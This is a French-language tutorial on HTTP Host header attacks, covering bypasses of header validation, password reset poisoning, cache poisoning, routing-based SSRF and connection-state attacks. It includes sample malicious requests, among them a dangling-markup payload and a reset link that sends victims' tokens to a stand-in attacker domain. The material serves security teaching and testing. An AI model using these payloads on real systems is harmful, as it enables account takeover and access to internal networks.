Attaques sur l'en-tête Host

L'en-tête HTTP Host est obligatoire depuis HTTP/1.1. Il indique le nom de domaine auquel le client souhaite accéder, permettant à un serveur d'aiguiller la requête vers la bonne application. Cette nécessité vient du fait que plusieurs sites partagent souvent une même adresse IP — par hébergement virtuel (plusieurs sites sur un serveur) ou par acheminement via un intermédiaire (répartiteur de charge, proxy inverse, CDN). Dans les deux cas, l'en-tête Host désigne le destinataire, comme un numéro d'appartement derrière une adresse d'immeuble.

Une attaque sur l'en-tête Host exploite une application qui traite cette valeur sans la valider. Comme l'en-tête est entièrement contrôlable par le client (via un proxy comme Burp), une confiance implicite ouvre la voie à plusieurs vulnérabilités : empoisonnement de cache, failles de logique métier, SSRF basée sur le routage, et injections côté serveur classiques. Beaucoup de ces failles ne tiennent pas à du code non sécurisé mais à une mauvaise configuration d'un composant de l'infrastructure.

L'origine du problème : les applications récupèrent souvent le domaine courant depuis l'en-tête Host — par exemple pour générer une URL absolue dans un e-mail — en supposant à tort qu'il n'est pas manipulable.

Identifier une vulnérabilité

La question centrale est : peut-on modifier l'en-tête Host tout en atteignant l'application cible ? Si oui, on sonde l'application et on observe l'effet sur la réponse.

Fournir un Host arbitraire. On commence par envoyer un nom de domaine inconnu. Burp Suite préserve la distinction entre l'en-tête Host et l'adresse IP cible (modifiable via l'icône crayon), ce qui permet d'envoyer n'importe quel Host, même malformé, tout en atteignant la bonne cible. Si l'application reste accessible (parce qu'elle est l'hôte par défaut, par exemple), on peut analyser son traitement de l'en-tête.

Vérifier une validation défaillante. Quand la requête est bloquée plutôt que renvoyée en erreur, la façon dont l'application analyse l'en-tête révèle parfois des contournements :

• Port ignoré. Si l'analyse omet le port, on laisse le domaine intact et on injecte la charge dans le port :

  Host: site-vulnerable.example:charge-ici
  

• Correspondance de suffixe ou de sous-domaine. Si la validation autorise des sous-domaines arbitraires, on enregistre un domaine se terminant par la même séquence, ou on exploite un sous-domaine compromis :

  Host: site-non-vulnerable.example
  Host: sous-domaine-compromis.site-vulnerable.example
  

Envoyer des requêtes ambiguës. Le code qui valide l'hôte et celui qui l'utilise dangereusement résident souvent dans des composants distincts. En exploitant les différences de récupération de l'en-tête, on envoie une requête qui paraît avoir un hôte différent selon le système :

• En-têtes Host dupliqués. Si le frontend privilégie la première occurrence et le backend la dernière, on route avec l'une et on injecte avec l'autre :

  Host: site-vulnerable.example
  Host: charge-ici
  

• URL absolue. De nombreux serveurs comprennent les URL absolues dans la ligne de requête, créant une ambiguïté avec l'en-tête Host :

  GET https://site-vulnerable.example/ HTTP/1.1
  Host: charge-ici
  

• En-tête indenté. Un en-tête précédé d'un espace est interprété différemment selon les serveurs (rattaché au précédent, ou ignoré), ce qui contourne parfois un blocage des doublons.

En-têtes de remplacement de l'hôte. Quand l'en-tête Host lui-même ne peut être modifié, plusieurs en-têtes prévus pour transmettre l'hôte d'origine derrière un intermédiaire offrent une alternative. De nombreux frameworks se réfèrent à X-Forwarded-Host s'il est présent, ce qui permet d'injecter une charge en contournant la validation du Host :

Host: site-vulnerable.example
X-Forwarded-Host: charge-ici

D'autres en-têtes remplissent un rôle similaire : X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded. L'extension Param Miner de Burp (fonction Guess headers) les recherche automatiquement.

Empoisonnement de la réinitialisation de mot de passe

C'est l'exploitation la plus courante. La réinitialisation repose sur un jeton à usage unique envoyé par e-mail dans une URL ; sa sécurité suppose que seule la victime accède à ce lien. Si l'URL est générée dynamiquement à partir de l'en-tête Host, on détourne le jeton :

1. L'attaquant demande une réinitialisation pour la victime, en interceptant la requête pour pointer l'en-tête Host vers son propre domaine.
2. La victime reçoit un e-mail authentique du site, contenant un jeton valide, mais dont l'URL pointe vers le serveur de l'attaquant :

   https://attaquant.example/reset?token=JETON_VALIDE
   

3. Si la victime clique (ou si un antivirus suit le lien), le jeton arrive sur le serveur de l'attaquant.
4. L'attaquant utilise ce jeton sur le vrai site pour réinitialiser le mot de passe et prendre le compte.

Quand on ne contrôle pas entièrement le lien, on peut parfois injecter du HTML dans l'e-mail via l'en-tête Host. Les clients mail n'exécutant pas JavaScript, on recourt à une attaque par balisage suspendu (dangling markup) pour exfiltrer le contenu :

Host: site-vulnerable.example:'<a href="https://attaquant.example/?

Empoisonnement de cache via l'en-tête Host

Une réflexion de l'en-tête Host dans la réponse (dans le balisage, ou pire dans un import de script) est inexploitable directement — l'attaquant ne peut forcer le navigateur de la victime à envoyer un mauvais Host. Mais si la cible utilise un cache, on transforme cette faille réfléchie inutile en faille stockée. On obtient une réponse empoisonnée tout en préservant une clé de cache partagée avec les autres utilisateurs ; la réponse malveillante est ensuite servie à quiconque accède à la page. Les caches autonomes incluant souvent le Host dans leur clé, cette attaque vise surtout les caches applicatifs.

Autres exploitations

Vulnérabilités côté serveur classiques. Chaque en-tête est une surface d'injection : si la valeur du Host transite dans une requête SQL, l'injection SQL classique s'applique.

Contournement d'authentification. Certains contrôles d'accès restreignent des fonctionnalités aux « utilisateurs internes » sur la base d'hypothèses erronées, contournables en modifiant simplement l'en-tête Host.

Brute-force d'hôtes virtuels. Quand un site interne et un site public partagent un serveur, l'hôte interne — parfois absent du DNS public — peut être atteint en devinant son nom, via une liste de sous-domaines dans Burp Intruder.

SSRF basée sur le routage. L'attaque la plus puissante. Si un intermédiaire (répartiteur, proxy inverse) achemine les requêtes selon un Host non validé, on le manipule pour rediriger vers un système arbitraire. Ces intermédiaires occupant une position privilégiée — accessibles depuis le web public, connectés au réseau interne — un simple répartiteur devient une passerelle vers tout l'interne. On confirme via Burp Collaborator (une requête DNS reçue prouve l'acheminement), puis on cible des IP privées, en brute-forçant au besoin une plage comme 192.168.0.0/16 :

GET https://site-vulnerable.example/ HTTP/1.1
Host: sous-domaine-collaborator

Réglage Burp pour le brute-force d'IP

Penser à décocher « Update Host header to match target » dans Intruder, sinon l'en-tête injecté est écrasé.

Attaques sur l'état de connexion. Beaucoup de serveurs réutilisent une connexion pour plusieurs requêtes en supposant dangereusement que des propriétés comme le Host restent identiques. Si la validation n'a lieu que sur la première requête d'une connexion, on envoie une requête anodine puis une requête malveillante via la même connexion :

GET / HTTP/1.1
Host: site-vulnerable.example

POST /admin/delete HTTP/1.1
Host: 192.168.0.1

(deux requêtes envoyées en groupe sur une seule connexion). De même, une ligne de requête malformée mal validée par un proxy peut détourner l'acheminement — un chemin commençant par @ peut transformer http://backend/chemin en une requête vers un hôte arbitraire.

Aide-mémoire

Objectif	Approche
Tester la manipulabilité	Host arbitraire ; observer l'accès et la réflexion
Contourner la validation	Port non numérique, suffixe de domaine, doublon, URL absolue, en-tête indenté
Quand Host est verrouillé	X-Forwarded-Host et en-têtes équivalents
Voler un jeton de réinitialisation	Host (ou X-Forwarded-Host) vers un domaine contrôlé
Faille réfléchie inexploitable	La rendre stockée via empoisonnement de cache
Atteindre le réseau interne	SSRF basée sur le routage, brute-force d'IP privées
Validation sur la 1ʳᵉ requête	Attaque sur l'état de connexion (groupe, single connection)

De nombreuses techniques de smuggling se transposent en attaques sur l'en-tête Host ; Burp Collaborator et l'extension Param Miner sont les outils de référence pour confirmer l'acheminement et découvrir les en-têtes de remplacement.